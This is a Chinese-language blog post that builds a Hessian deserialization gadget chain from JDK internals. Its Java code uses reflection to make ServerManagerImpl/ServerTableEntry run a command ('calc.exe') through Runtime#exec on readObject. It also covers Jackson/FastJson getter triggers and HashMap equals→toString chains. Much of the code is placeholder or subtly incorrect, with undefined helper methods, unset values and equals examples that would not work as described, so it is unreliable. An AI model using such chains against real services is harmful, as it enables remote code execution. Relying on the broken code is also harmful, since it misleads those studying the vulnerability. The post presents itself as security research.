从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造
字数 1982 2025-09-23 19:27:38
Hessian反序列化JDK原生新链构造技术分析
前言
本文基于BlackHat 2025 JDD会议上披露的Hessian反序列化JDK原生新链研究成果,详细分析链子构造过程与方法。虽然链子早已被安全研究人员构造出来,但公开资料大多只提供最终链子结构而缺乏详细解释和构造过程说明。
一、Hessian反序列化原理简析
1.1 Hessian2反序列化流程分析
Hessian2反序列化过程中,当第一个反序列化的类为Map类型时(tag为72),会进入特殊处理流程:
- 反序列化入口点为
Hessian2Input.readObject()方法 - 读取到的第一个字节tag为72(Map类型)
- 进入case 72分支,调用
readMap()方法 - 新建
MapDeserializer,默认反序列化为HashMap - 调用
readMap将序列化数据反序列化为map对象 - 关键点:此过程中调用
map.put()进行赋值操作,正是这个方法导致后续反序列化漏洞
二、新链构造与学习
2.1 通过Getter方法触发Runtime执行
2.1.1 链式调用分析
攻击链:ServerManagerImpl#getActiveServers → ServerTableEntry#isValid → ServerTableEntry#activate → Runtime#exec
2.1.2 关键类与方法分析
ServerManagerImpl类:
- 构造函数非public,需使用反射构造
- 包含
getActiveServers()方法 - 内部维护
serverTable字段(HashMap类型)
ServerTableEntry类:
- 构造函数非public,需使用反射构造
- 包含
isValid()和activate()方法 - 需要设置
process字段和state状态
2.1.3 Java代码构造过程
第一步:构造ServerManagerImpl实例
// 使用反射创建ServerManagerImpl实例
Constructor<ServerManagerImpl> constructor =
ServerManagerImpl.class.getDeclaredConstructor();
constructor.setAccessible(true);
ServerManagerImpl serverManager = constructor.newInstance();
第二步:设置serverTable字段
// 获取serverTable字段并设置可访问
Field serverTableField = ServerManagerImpl.class.getDeclaredField("serverTable");
serverTableField.setAccessible(true);
// 创建HashMap并设置到serverTable
HashMap<Object, Object> serverTable = new HashMap<>();
serverTableField.set(serverManager, serverTable);
第三步:构造ServerTableEntry并添加到serverTable
// 使用反射创建ServerTableEntry实例
Constructor<ServerTableEntry> entryConstructor =
ServerTableEntry.class.getDeclaredConstructor();
entryConstructor.setAccessible(true);
ServerTableEntry entry = entryConstructor.newInstance();
// 将entry添加到serverTable
serverTable.put("key", entry);
第四步:设置ServerTableEntry的必要字段
// 设置process字段(需要先了解具体类型)
Field processField = ServerTableEntry.class.getDeclaredField("process");
processField.setAccessible(true);
processField.set(entry, processInstance); // 需根据实际情况设置
// 设置state为ACTIVATED(通常为特定整数值)
Field stateField = ServerTableEntry.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(entry, ACTIVATED_VALUE); // 需查找ACTIVATED的具体值
// 设置activationCmd字段(命令执行参数)
Field activationCmdField = ServerTableEntry.class.getDeclaredField("activationCmd");
activationCmdField.setAccessible(true);
activationCmdField.set(entry, "calc.exe"); // 设置为要执行的命令
2.1.4 完整触发代码
// 构造完整的攻击对象
Object payload = constructRuntimeTriggerChain();
// 通过Hessian序列化触发
Hessian2Output output = new Hessian2Output(byteArrayOutputStream);
output.writeObject(payload);
output.flush();
// 反序列化触发
Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
input.readObject(); // 此处触发命令执行
2.2 通过FastJson或Jackson触发Getter
2.2.1 Jackson触发方式
ObjectMapper mapper = new ObjectMapper();
// 启用默认类型识别(可能存在安全风险的配置)
mapper.enableDefaultTyping();
// 序列化攻击载荷
String json = mapper.writeValueAsString(payload);
// 反序列化触发
mapper.readValue(json, Object.class);
2.2.2 FastJson触发方式
// 序列化攻击载荷
String json = JSON.toJSONString(payload);
// 反序列化触发(需启用autoType或利用已有链)
JSON.parseObject(json, Object.class);
// 或利用特定版本漏洞
JSON.parse(json);
2.3 通过toString方法触发
2.3.1 HashMap->AudioFileFormat->toString链
攻击原理:
- 利用HashMap的equals方法比较
- 触发AudioFileFormat$Type的equals方法
- 在equals方法中调用任意toString方法
构造代码:
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
// 构造AudioFileFormat.Type实例
AudioFileFormat.Type type = new AudioFileFormat.Type("TEST", "test");
// 将type放入map中
map1.put("key", type);
map2.put("key", "different_value"); // 确保equals比较时触发
// 触发equals比较
map1.equals(map2); // 此处触发toString调用
2.3.2 HashMap->XStringForFSB->toString链
攻击原理:
- 利用HashMap的equals方法
- 触发XStringForFSB的equals方法
- 在equals方法中调用任意toString方法
构造代码:
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
// 构造XStringForFSB实例
XStringForFSB xstring = new XStringForFSB(...); // 根据具体实现构造
// 将xstring放入map中
map1.put("key", xstring);
map2.put("key", "different_value");
// 触发equals比较
map1.equals(map2); // 此处触发toString调用
2.3.3 ConcurrentHashMap->XStringForFSB||AudioFileFormat->toString链
攻击原理:
- 利用ConcurrentHashMap的特殊处理逻辑
- 结合XStringForFSB或AudioFileFormat的toString调用
构造代码:
ConcurrentHashMap<Object, Object> map = new ConcurrentHashMap<>();
// 构造攻击对象(XStringForFSB或AudioFileFormat.Type)
Object maliciousObj = constructMaliciousObject();
// 将攻击对象放入ConcurrentHashMap
map.put("key", maliciousObj);
// 通过特定操作触发(如序列化/反序列化、比较等)
triggerConcurrentHashMapExploit(map);
三、关键问题与解决方案
3.1 常见问题
- 非public构造函数:通过反射设置
setAccessible(true)解决 - 字段访问限制:同样通过反射突破访问限制
- 状态验证:仔细分析目标方法的状态检查逻辑,确保满足条件
- 空指针异常:确保所有必要字段都已正确初始化
3.2 调试技巧
- 逐步调试,观察方法调用栈
- 关注异常信息,了解缺少哪些必要条件
- 分析源代码,理解每个方法的前置条件
- 使用反射工具动态查看和修改对象状态
四、总结
Hessian反序列化JDK原生链构造主要依赖于:
- 找到合适的入口点(如Map反序列化时的put操作)
- 构造链式调用,通过getter、equals或toString等方法连接
- 最终到达危险方法(如Runtime.exec)
- 解决中间的状态检查和访问限制问题
链子构造的关键在于深入理解JDK内部类的实现细节和Hessian反序列化机制,通过反射等技术突破访问限制,精心构造对象状态以满足链式调用的条件。
五、参考链接
免责声明:本文仅用于安全研究和教育目的,请勿用于非法用途。在实际应用中,应确保系统及时更新,避免使用存在安全风险的配置。